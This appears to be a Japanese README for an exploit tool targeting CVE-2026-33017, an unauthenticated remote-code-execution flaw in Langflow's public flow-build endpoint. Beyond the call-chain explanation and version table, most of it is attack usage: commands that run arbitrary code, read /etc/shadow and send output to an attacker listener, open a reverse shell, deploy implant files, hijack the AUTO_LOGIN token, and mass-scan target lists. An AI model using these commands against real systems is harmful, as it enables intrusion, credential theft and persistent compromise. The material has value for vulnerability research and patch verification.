
CVE-2026-33017 のエクスプロイト — Langflow <= 1.8.2 におけるフロービルドエンドポイントの exec() を介した未認証 RCE
_____
/ \
| () () |
\ ^ /
|||||
認証なしのexec()、サンドボックスなし、希望なし。
Langflow <= 1.8.2 は、POST /api/v1/build_public_tmp/{flow_id}/flow エンドポイントを介して未認証のリモートコード実行を許可します。攻撃者が提供するフローデータにノード定義内の任意のPythonコードが含まれる場合、それはサンドボックス化ゼロで直接 exec() に渡されます。
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> 任意のコードがサーバープロセスとして実行される。ゲームオーバー。
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# ターミナル1: リスナーを起動
python3 -m http.server 8080
# ターミナル2: エクスプロイトを実行
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# リスナーのログからbase64をデコード:
echo "dWlkPTEwMDAo..." | base64 -d
# ターミナル1: リスナーを起動
nc -l 8080
# ターミナル2: エクスプロイトを実行
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# 生の出力がPOSTボディに直接届く - デコードは不要
# ターミナル1: リスナーを起動
nc -l 4444
# ターミナル2: エクスプロイトを実行
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
ペイロードファイルのルール:
prepare_global_scope() 内の exec() を介してモジュールレベルで実行されるAssign、FunctionDef、ClassDef ノードのみを実行するため、代入を使用する必要がある (例: _x = os.popen(...).read())threading.Thread(daemon=True) を使用する必要がある公開フローが存在せず、AUTO_LOGINが有効な場合 (多くのデプロイメントでデフォルト):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
これによりAUTO_LOGINトークンを乗っ取り、最初のフローをPATCHでPUBLICに変更してから悪用します。
ファイルから複数のターゲットをスキャン (脆弱性チェックのみ):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
targets.txt の形式:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# コメントは無視されます
出力に表示される内容:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version をプローブしてターゲットを特定code フィールドに悪意のあるPythonを含む CustomComponent ノードを持つ最小限のフローグラフを作成data パラメータを /api/v1/build_public_tmp/{flow_id}/flow にPOST送信。Langflowがグラフをコンパイルし、攻撃者のコードに対して create_class() -> prepare_global_scope() -> exec() を呼び出すv1.9.0の修正では data パラメータが完全に削除され、エンドポイントがデータベースに保存されたフローデータのみを使用するよう強制されます。
| バージョン | ステータス |
|---|
このツールは許可されたセキュリティ研究専用です。明示的なテスト許可があるシステムに対してのみ使用してください。作者は誤用について責任を負いません。
| <= 1.8.1 | 脆弱 |
| 1.8.2 | チェンジログで修正を主張しているがコードは一切変更されていない (JFrogが確認) |
| 1.9.0-dev0 から dev11 | 依然として脆弱 |
| 1.9.0 | 実際に修正済み - エンドポイントから data パラメータが削除された |